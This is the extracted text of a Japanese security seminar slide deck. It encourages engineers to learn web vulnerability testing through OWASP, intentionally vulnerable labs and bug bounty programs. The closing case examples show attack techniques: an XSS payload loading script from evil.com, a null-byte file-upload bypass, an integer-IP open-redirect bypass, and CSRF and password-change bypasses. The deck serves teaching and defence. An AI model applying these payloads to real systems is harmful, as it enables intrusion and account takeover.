『よわよわエンジニア』から『つよつよエンジニア』へ ♪
CYBER SECURITY EVANGELIST
Kazuo Yamada@サイバーセキュリティ148

Who am I
山田 一夫

宮崎県出身／1967年生まれ

経歴

重工業、外資系コンサル企業 ⇨ フリーランス(20年) ⇨ 現職
・ソフトウェア品質管理、プロジェクトマネージャを経て・2019年秋にサイバーセキュリティ事業をひとりで立ち上げ活動

サイバーセキュリティ・テクニカルセミナーの講師
ブログ『Shikata Ga Nai』にて、サイバーテクニカルを発信中

資格

ベンダー資格20種以上に合格
・Oracle、Microsoft、Linux、CompTIA等

趣味

サーフィン、ヨット、スキー、ロードバイク、料理、四季報 etc...
農薬も肥料も使わない自然栽培農法を実践中

アジェンダ１.これからのエンジニアへの要件
1.1 セキュリティ事故の背景
1.2 ソフトウェアテストの現状
1.3 エンジニアに求められるスキル
２.セキュリティスキルの習得方法
2.1 ソフトウェア脆弱性の種類
2.2 脆弱性診断のテスティング環境
2.3 目指すべきセキュリティスキルのレベル
３.セキュリティ品質向上に向けて
3.1 脆弱性の傾向を把握するご提案
3.2 バグバウンティプログラムのご提案
3.3 バグバウンティの実例紹介

1.これからのエンジニアへの要件♪ニュースでよく見かけるセキュリティ事故は何が原因だろうか!?
セキュリティ事故をネットニュースより抽出（2021年末～2022年初め）

事件は、WEBアプリケーションで起きている!!

1.これからのエンジニアへの要件♪ハッキングというものは、それほど簡単にできてしまうのだろうか!?
世界最大の脆弱性データベースから、ハッカーが取り組んでいるテクノロジーを洞察・調査技術の進歩や高度化
API/IoTのツール
モバイルOSの脆弱なアプリ

ハッカーの96%がWEBサイトを狙っている増加

ハッキングを容易にする原因【参考】The 2021 Hacker Report by HACKERONE TEAM

1.これからのエンジニアへの要件♪セキュリティ対策がなかなか進まない要因を考えてみると...
〇〇の時代には、セキュリティビジネスは存在しなかった!?
メインフレーム

主な開発案件ベースの歴史👈 1980年代

クライアント／サーバシステム

👈 1990年代

WEBアプリケーション

2010年代 👉👈 2000年代

モバイルアプリケーション

2020年代 👉

クラウドコンピューティング

権力者のセキュリティに対する知識の低さと甘さが原因

1.これからのエンジニアへの要件♪ソフトウェア開発にセキュリティ領域を追加しない現状...
👇 インプット情報に対してのテスト項目を作成して実施（品質評価）
要件定義

総合試験

結合試験

基本設計

委託
詳細設計

ソフトウェア開発

セキュリティ会社

単体試験

実装

セキュリティテスト
（脆弱性診断）👆 ブラックボックスで実施

セキュリティスキルとテスト項目を作成するインプット情報がない

1.これからのエンジニアへの要件♪脆弱性診断実施による開発現場の現状...
脆弱性診断結果による修正工数で開発コスト増大、さらにはスケジュールが遅延
要件定義

見直し、修正

基本設計

・仮に開発中に脆弱性診断を実施
・品質が不十分なシステムを診断見直し、修正

詳細設計

見直し、修正実装

・脆弱性かどうかの判断がつかず・品質テストの代行となりかねない
セキュリティ会社

1.これからのエンジニアへの要件♪工程毎にセキュリティ会社に入ってもらうのもひとつの解決法...
開発コストの増大が顧客への負担、もしくは開発会社が負担することによる利益減
セキュリティ会社
要件定義

セキュリティ要件策定の支援
セキュリティ設計の導入支援

設計工程

案件によっては割があわない

実装

セキュアコーディングの評価

各種試験

脆弱性診断の実施

セキュリティの知識がないとスムーズに進めることができない1.これからのエンジニアへの要件♪これからのエンジニアには、セキュリティ領域のスキルも必要とされる時代...
エンジニア不足の解消、迅速な対応を可能にする提案
要件定義＋

脆弱性診断スキルを身につけて設計やコーディングに反映させる。

自分らでセキュリティ要件を洗い出して設計工程＋脆弱性を発生させないセキュリティ設計を加えて実装理解をせずに機械的にやってしまう。
必要以上のことをやってしまう可能性。

＋

セキュアなコーディング知識を身につけて

各種試験

＋

自ら脆弱性診断を実施する

焦らずにできるところからコツコツと確実に!!

アジェンダ１.これからのエンジニアへの要件
1.1 セキュリティ事故の背景
1.2 ソフトウェアテストの現状
1.3 エンジニアに求められるスキル
２.セキュリティスキルの習得方法
2.1 ソフトウェア脆弱性の種類
2.2 脆弱性診断のテスティング環境
2.3 目指すべきセキュリティスキルのレベル
３.セキュリティ品質向上に向けて
3.1 脆弱性の傾向を把握するご提案
3.2 バグバウンティプログラムのご提案
3.3 バグバウンティの実例紹介

2.セキュリティスキルの習得方法♪まずは、OWASP(The Open Web Application Security Project)から...
Webアプリケーションのセキュリティを研究する非営利の国際コミュニティ【参考】 https://owasp.org/

2.セキュリティスキルの習得方法♪OWASPが提供するOWASP TOP10とは...
Webアプリケーションの重大なセキュリティリスクをランキング形式で発表┗ 国際的に利用されているWebアプリケーションセキュリティの情報源の１つ

まずは脆弱性の内容を理解するところからはじめる2.セキュリティスキルの習得方法♪脆弱性とは、どのようなものかを実在したもので体験して理解を深めてはどうだろうか!?
👇マスコットの誘導にしたがって脆弱性を体験学習できるサイト
・OWASP Top10 for Web
・OWASP Top10 for API
・AWS Top10
・Front-end Top10

・脆弱性の場所特定
・脆弱性の軽減方法⇧
トレーニングモジュール➥➦【参考】 https://application.security

2.セキュリティスキルの習得方法♪脆弱性診断とは、どのようにやればいいのだろうか...
・脆弱性タイプ別
・診断対象の機能／画面・検出パターン（ペイロード）
・脆弱性の判断基準 etc...

ガイドラインをベースにカスタマイズ・画像や文言を追加
・参考サイトを追加 etc...
⇩脆弱性診断マニュアル(オリジナル版)【参考】 IPAウェブ健康診断仕様、Webアプリケーション脆弱性診断ガイドライン

2.セキュリティスキルの習得方法♪脆弱性診断をやってみたいが、既存システムで行うしかないのだろうか...
意図的に脆弱性もたせたWEBアプリケーション(仮想環境)でトレーニング
👈 脆弱性別メニュー
👇 OWASP BWA

👈 アプリケーション

2.セキュリティスキルの習得方法♪脆弱性診断をするのに専用のツールはないのだろうか...
専用ツール(ローカルプロキシ)を使ってブラウザとWebサーバ間の通信内容を確認
👇 BURP SUITE👇 PortSwigger【参考】 https://portswigger.net

2.セキュリティスキルの習得方法♪脆弱性別に担当割して、会社全体でスキル習得期間の短期化を...
👈 スキルの習得期間
・人に教えることで理解度の確認・習得したスキルをドキュメント化
・設計とテスト技法に有効活用
👈 チーム形成で習得期間を短縮プログラムを覚えるよりは確実に習得時間を要する

2.セキュリティスキルの習得方法♪セキュリティは国境がないため、目標として世界基準でスキルを身につける必要性...
■Webアプリケーションのセキュリティテスト
・ID管理テスト
・認証テスト・承認テスト・セッション管理テスト
・入力検証テスト
・エラー処理のテスト
・弱い暗号化のテスト
・ビジネスロジックテスト
・クライアント側のテスト
・APIテスト:・ファイルのアップロードのテスト

アジェンダ１.これからのエンジニアへの要件
1.1 セキュリティ事故の背景
1.2 ソフトウェアテストの現状
1.3 エンジニアに求められるスキル
２.セキュリティスキルの習得方法
2.1 ソフトウェア脆弱性の種類
2.2 脆弱性診断のテスティング環境
2.3 目指すべきセキュリティスキルのレベル
３.セキュリティ品質向上に向けて
3.1 脆弱性の傾向を把握するご提案
3.2 バグバウンティプログラムのご提案
3.3 バグバウンティの実例紹介

3.セキュリティ品質向上にむけて♪提案①:定期的に傾向を把握して重要な脅威に努力を集中してはいかがでしょうか!?
セキュリティの重大リスクは、常に変化していることを忘れてはいけません。
OWASP TOP10は、4年に1度の更新 👇

バグバウンティレポート、ベンダーの速報
CVE速報を含む集約DB 👇【参考】 https://vulners.com/

3.セキュリティ品質向上にむけて♪集約DBからアクセス制御(access control)について、年度毎に傾向を集計してみた!!
アクセス制御については、2020年から急激に増え始めたように思えます。
👇検索対象👇検索対象期間急激な変化をとらえて早めに対応する

👇結果

3.セキュリティ品質向上にむけて♪提案②:バグバウンティプログラムを検討してみてはいかがでしょうか!?
システムやネットワークの複雑化

プログラムの高度化

攻撃手法の多様化

バグ発見は開発者だけでは不十分

外部の攻撃視点からのチェックが有効

多くの視点からの脆弱性診断が、セキュリティの品質向上に有効3.セキュリティ品質向上にむけて♪バグバウンティプログラムとは...
企業のWEBアプリケーションに脆弱性がないかを世界中のハッカーに依頼して、バグの重要度に応じて、報奨金を支払う仕組み【参考】 https://bugbounty.jp/

3.セキュリティ品質向上にむけて♪提案③:社内版バグバウンティプログラムを導入してみてはどうだろうか!?
2021年バグバウンティプログラムの報奨金の合計

👆

約48億円

【参考】 hackerone Hacker-Powered Security Report INDUSTRY INSIGHTS ‘21

3.セキュリティ品質向上にむけて♪個人に支払われた報奨金は、いったいどれくらいどうだろうか!?
2022年バグバウンティプログラムの報奨金の例【参考】 https://pentester.land/list-of-bug-bounty-writeups.html

3.セキュリティ品質向上にむけて♪社内版バグバウンティプログラムの仕組みを考えてみた!!
もしかすると現代社会の給与が上がらない問題を解決できるかもしれない!?
会社
会社

社内版バグプログラムの導入

セキュリティをビジネス化

社員は給与を上げたい

最終的には会社の利益

セキュリティ人材が育つ

社員

バグを探す勉強をする

会社

社員
社内システムの防衛会社発見されたバグを修正システムの品質が向上

会社

社員

3.セキュリティ品質向上にむけて♪バグバウンティ事例... プロトコルの変更でのバイパス
権限なし

管理者パネル機能
https://admin.example.com⇨ リクエスト ⇨⇦ レスポンス ⇦ 403 エラー⇩ プロトコルを変更

http://admin.example.com⇨ リクエスト ⇨⇦ レスポンス ⇦ 200 OK

管理者パネル

3.セキュリティ品質向上にむけて...バグバウンティ事例♪バグバウンティ事例... 絵文字のエラー処理⇨ ⇨ リクエスト ⇨ ⇨⇦ ⇦ レスポンス ⇦ ⇦⇨⇦⇩ クロスサイトスクリプティングを確認
脆弱性不明:クロスサイトスクリプティング ⇦ WAFでブロック➥ "><script src=//evil.com></script>...etc⇩ 😯のみを入力
脆弱性あり:SQLコードエラー⇨⇦

3.セキュリティ品質向上にむけて♪バグバウンティ事例... 無制限のファイルアップロード
画像ファイルアップロード機能

user.jpg⇨ ファイルアップロード ⇨➥ ファイルの拡張子をチェック➥ ファイルの内容をチェック

evil.php

evil.php%00.jpg⇨ ファイルアップロード ⇨➥ ファイルの拡張子検証をバイパス

GIF98を追加➥ ファイルの内容検証をバイパス3.セキュリティ品質向上にむけて♪バグバウンティ事例... フィルタをバイパスするURLリダイレクトhttps://www.example.com/login?forward=/account⇨ リクエスト ⇨⇦ レスポンス ⇦ OK

⇨ リダイレクト ⇨⇩ リダイレクトの検証
https://www.example.com/login?forward=https://google.com ⇦ 142.250.64.100⇨ リクエスト ⇨⇦ レスポンス ⇦ エラー⇩ プロトコルとIPアドレスを整数に変更➥ 142.250.64.100=8E.FA.40.64(16進数)=2398765156(10進数)

https://www.example.com/login?forward=http://2398765156⇨ リクエスト ⇨⇨ リダイレクト ⇨3.セキュリティ品質向上にむけて♪バグバウンティ事例... CSRFトークンを悪用してのバイパス
プロフィール編集機能⇨ リクエスト ⇨POST /editprofile
Host: example.com{“user_name”:”victim”,“csrf_token”:”VICTIM_TOKEN”}⇩ csrf_tokenパラメータを削除⇨ リクエスト ⇨POST /editprofile
Host: example.com{“user_name”:”victim”}⇩ GETメソッドに変更⇨ リクエスト ⇨⇦ レスポンス ⇦ 200 OK

閲覧不可⇦ レスポンス ⇦ エラー

閲覧可能

GET /editprofile?user_name=victim
Host: example.com⇦ レスポンス ⇦ 200 OK3.セキュリティ品質向上にむけて♪バグバウンティ事例... パラメータ欠陥によるアカウント乗っ取り
パスワード変更機能⇨ リクエスト ⇨・・・・・・・・・・

POST /api/change_password
Host: example.com{“email”:”victim@mail.com”,“password_current”:”nowpassword”,“password_new”:”newpassword”,“password_confirm”:”newpassword”,“csrf_token”:”VICTIM_TOKEN”}⇩ password_currentとcsrf_tokenを削除

パスワード変更可⇨ リクエスト ⇨・・・・・・・・・・

POST /api/change_password
Host: example.com{“email”:”victim@mail.com”,“password_new”:”newpassword”,“password_confirm”:”newpassword”}

本日のまとめ

１．これからのエンジニアは、スムーズに開発を進める上でセキュリティスキルも必要
２．脆弱性を意図的に含んだテスティング環境等を利用してセキュリティスキルを習得
３．身につけたセキュリティスキルをテスト技法から設計へとできるところから着手
４．セキュリティには国境がなく、世界レベルでの情報収集とスキル習得を常に継続
５．バグバウンティプログラムを活用してアプリケーションの品質向上を目指すのもアリご清聴いただき、ありがとうございました。
ご相談、お待ちしております!

株式会社 日本ビジネスデータープロセシングセンター
サイバーセキュリティ148
Cyber Security Evangelist
山田 一夫
Twitter: @NeoGuilde
Mail: yamada-kazuo@nihon-data.jp